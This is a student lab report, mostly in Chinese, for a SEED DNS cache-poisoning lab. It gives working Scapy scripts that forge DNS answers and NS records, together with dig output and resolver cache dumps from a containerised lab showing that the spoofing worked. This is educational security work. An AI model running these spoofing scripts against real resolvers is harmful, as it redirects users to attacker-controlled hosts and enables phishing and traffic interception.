lab5-report

571118106 强珂阳

Testing the DNS Setup

在 user 中进行测试，确保设置正确。

运行dig ns.attacker32.com，来自attacker服务器

```
[07/21/21]seed@VM:~/.../Labsetup$ docksh f
root@f6e2a20d120d:/# dig ns.attacker32.com

; <<>> DiG 9.16.1-Ubuntu <<>> ns.attacker32.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 18871
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: d4d95e907212bd620100000060f8ddc802730b5fd6651cd9 (good)
;; QUESTION SECTION:
;ns.attacker32.com.             IN      A

;; ANSWER SECTION:
ns.attacker32.com.      259200  IN      A       10.9.0.153

;; Query time: 11 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu Jul 22 02:54:00 UTC 2021
;; MSG SIZE  rcvd: 90

root@f6e2a20d120d:/#
```

运行dig www.example.com，来自官方服务器

```
root@f6e2a20d120d:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 49390
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 31799fee44b526510100000060f8de7c7d56c08569064739 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        86400   IN      A       93.184.216.34

;; Query time: 2012 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu Jul 22 02:57:00 UTC 2021
;; MSG SIZE  rcvd: 88
```

运行 dig @ns.attacker32.com www.example.com，来自攻击者服务器的虚假结果

```
root@f6e2a20d120d:/# dig @ns.attacker32.com www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> @ns.attacker32.com www.example.com
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 3977
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 9c8dfef81711fdfe0100000060f8df3e7cc445f9c9679d15 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.5

;; Query time: 0 msec
;; SERVER: 10.9.0.153#53(10.9.0.153)
;; WHEN: Thu Jul 22 03:00:14 UTC 2021
;; MSG SIZE  rcvd: 88
```

task 1 Directly Spoofing Response to User

修改代码

task1.py
~/Desktop/Labs_20.04/Network Security/Local DNS Attack Lab/Labsetup/volumes

```python
#!/usr/bin/env python3
from scapy.all import *
import sys

NS_NAME = "example.com"

def spoof_dns(pkt):
        if (DNS in pkt and NS_NAME in  pkt[DNS].qd.qname.decode('utf-8')):
                print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))

                ip = IP(dst=pkt[IP].src,src=pkt[IP].dst)
                udp = UDP(dport=pkt[UDP].sport, sport=53)
                Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200,rdata='1.2.3.5')
                dns = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, qr=1, qdcount=1,ancount=1, an=Anssec)
                spoofpkt = ip/udp/dns
                send(spoofpkt)

myFilter = "udp and dst port 53" # Set the filter
pkt=sniff(iface='br-249a6a0f1651', filter=myFilter, prn=spoof_dns)
```

在 attacker 上运行恶意代码

```
root@VM:/volumes# task1.py
 10.8.0.11 --> 192.48.79.30: 1161
.
Sent 1 packets.
 10.8.0.11 --> 192.41.162.30: 62265
.
Sent 1 packets.
```

在 user 上查看

```
root@5bafebebd59f:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 28607
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 3568722cfcced4340100000060f8fc6296df302bf935881c (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.5

;; Query time: 244 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu Jul 22 05:04:34 UTC 2021
;; MSG SIZE  rcvd: 88
```

攻击成功。

task 2 DNS Cache Poisoning Attack-Spoofing Answers

在本地 DNS 服务器上运行 rndc flush 命令刷新 DNS 缓存。在 attacker 上运行恶意代码

```python
#!/usr/bin/env python3
from scapy.all import *
import sys

NS_NAME = "example.com"

def spoof_dns(pkt):
        if (DNS in pkt and NS_NAME in  pkt[DNS].qd.qname.decode('utf-8')):
                print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))

                ip = IP(dst=pkt[IP].src,src=pkt[IP].dst)
                udp = UDP(sport=pkt[UDP].dport, dport=33333)
                Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200,rdata='11.11.11.11')
                dns = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, qr=1, qdcount=1,ancount=1, an=Anssec)
                spoofpkt = ip/udp/dns
                send(spoofpkt)

myFilter = "udp and src port 33333" # Set the filter
pkt=sniff(iface='br-249a6a0f1651', filter=myFilter, prn=spoof_dns)
```

在 user 上运行 dig www.example.com，发现成功欺骗了 user

```
root@5bafebebd59f:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 51854
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 062ffd2e75430c17010000060f9336f722dbafeaf88bb2f (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       11.11.11.11

;; Query time: 1176 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu Jul 22 08:59:27 UTC 2021
;; MSG SIZE  rcvd: 88
```

task 3 Spoofing NS Records

修改代码

```
#!/usr/bin/env python3
from scapy.all import *
import sys

NS_NAME = "example.com"

def spoof_dns(pkt):
        if (DNS in pkt and NS_NAME in  pkt[DNS].qd.qname.decode('utf-8')):
                print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))

                ip = IP(dst=pkt[IP].src,src=pkt[IP].dst)
                udp = UDP(sport=pkt[UDP].dport, dport=33333)
                Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200,rdata='11.11.11.11')
                NSsec = DNSRR(rrname='example.com', type='NS', ttl=259200,rdata='ns.attacker32.com')
                dns = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1,ancount=1, an=Anssec, nscount=1, ns=NSsec)
                spoofpkt = ip/udp/dns
                send(spoofpkt)

myFilter = "udp and src port 33333" # Set the filter
pkt=sniff(iface='br-249a6a0f1651', filter=myFilter, prn=spoof_dns)
```

在 user 上查看

```
root@5bafebebd59f:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 30911
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 6445970038572c330100000060f9598383c27fe484d1edce (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.5

;; Query time: 720 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu Jul 22 11:41:55 UTC 2021
;; MSG SIZE  rcvd: 88
```

```
root@5bafebebd59f:/# dig mail.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> mail.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 60883
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 436b05277208d1e40100000060f959b28adb7fc8245d1b3e (good)
;; QUESTION SECTION:
;mail.example.com.              IN      A

;; ANSWER SECTION:
mail.example.com.       259200  IN      A       1.2.3.6

;; Query time: 120 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu Jul 22 11:42:42 UTC 2021
;; MSG SIZE  rcvd: 89
```

在本地 DNS 服务器上查看缓存

```
root@ba1537bf531f:/# cat /var/cache/bind/dump.db | grep example
example.com.            863792  NS      ns.attacker32.com.
_.example.com.          863792  A       11.11.11.11
mail.example.com.       863839  A       1.2.3.6
www.example.com.        863792  A       1.2.3.5
```

攻击成功

task 4 Spoofing NS Record for Another Domin

修改代码

task4.py

```python
#!/usr/bin/env python3
from scapy.all import *
import sys

NS_NAME = "example.com"

def spoof_dns(pkt):
        if (DNS in pkt and NS_NAME in  pkt[DNS].qd.qname.decode('utf-8')):
                print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))

                ip = IP(dst=pkt[IP].src,src=pkt[IP].dst)
                udp = UDP(sport=pkt[UDP].dport, dport=33333)
                NSsec1 = DNSRR(rrname='example.com', type='NS', ttl=259200,rdata='ns.attacker32.com')
                NSsec2 = DNSRR(rrname='google.com', type='NS', ttl=259200,rdata='ns.attacker32.com')
                Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200,rdata='11.11.11.11') # Create an aswer record
                dns = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1,ancount=1, an=Anssec, nscount=2, ns=NSsec1/NSsec2)
                spoofpkt = ip/udp/dns
                send(spoofpkt)

myFilter = "udp and src port 33333" # Set the filter
pkt=sniff(iface='br-249a6a0f1651', filter=myFilter, prn=spoof_dns)
```

查看本地 DNS 服务器缓存

```
root@ba1537bf531f:/# cat /var/cache/bind/dump.db | grep example
example.com.            863874  NS      ns.attacker32.com.
_.example.com.          863874  A       11.11.11.11
mail.example.com.       863878  A       1.2.3.6
www.example.com.        863874  A       1.2.3.5
root@ba1537bf531f:/# cat /var/cache/bind/dump.db | grep google
google.com.             777494  NS      ns1.google.com.
                        777494  NS      ns2.google.com.
                        777494  NS      ns3.google.com.
                        777494  NS      ns4.google.com.
_.l.google.com.         604846  \-ANY   ;-$NXDOMAIN
; l.google.com. SOA ns1.google.com. dns-admin.google.com. 385971520 900 900 1800
 60
googlemail.l.google.com. 605086 A       216.58.200.37
mail.google.com.        1209586 CNAME   googlemail.l.google.com.
ns1.google.com.         777494  A       216.239.32.10
ns2.google.com.         777494  A       216.239.34.10
ns3.google.com.         777494  A       216.239.36.10
ns4.google.com.         777494  A       216.239.38.10
www.google.com.         604912  A       31.13.68.1
```

task 5 Spoofing Record in the Additional Section

```
root@5bafebebd59f:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 58414
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 4dffaf700d3554da0100000060f97a6b63088a57cc195550 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.5

;; Query time: 884 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu Jul 22 14:02:19 UTC 2021
;; MSG SIZE  rcvd: 88
```

```
root@5bafebebd59f:/# dig mail.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> mail.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 20259
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 2aefdb008e9b09dd0100000060f97a868c5505362d603b78 (good)
;; QUESTION SECTION:
;mail.example.com.              IN      A

;; ANSWER SECTION:
mail.example.com.       259200  IN      A       1.2.3.6

;; Query time: 0 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu Jul 22 14:02:46 UTC 2021
;; MSG SIZE  rcvd: 89
```

```
root@5bafebebd59f:/# dig www.facebook.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.facebook.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 34112
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 491c877d6e03e8f50100000060f97abb09dcada794f10d77 (good)
;; QUESTION SECTION:
;www.facebook.com.              IN      A

;; ANSWER SECTION:
www.facebook.com.       68      IN      A       157.240.2.50

;; Query time: 48 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu Jul 22 14:03:39 UTC 2021
;; MSG SIZE  rcvd: 89
```

```
root@ba1537bf531f:/# cat /var/cache/bind/dump.db | grep .com
ns.attacker32.com.      615380  \-AAAA  ;-$NXRRSET
; attacker32.com. SOA ns.attacker32.com. admin.attacker32.com. 2008111001 28800
7200 2419200 86400
example.com.            863780  NS      ns.attacker32.com.
_.example.com.          863780  A       11.11.11.11
mail.example.com.       863807  A       1.2.3.6
ns.example.com.         863924  A       10.9.0.153
seu.example.com.        863931  A       1.2.3.6
www.example.com.        863780  A       1.2.3.5
_.facebook.com.         604907  A       75.126.33.156
www.facebook.com.       604728  A       157.240.2.50
; ns.attacker32.com [v4 TTL 1580] [v6 TTL 10580] [v4 success] [v6 nxrrset]
; Dump complete
```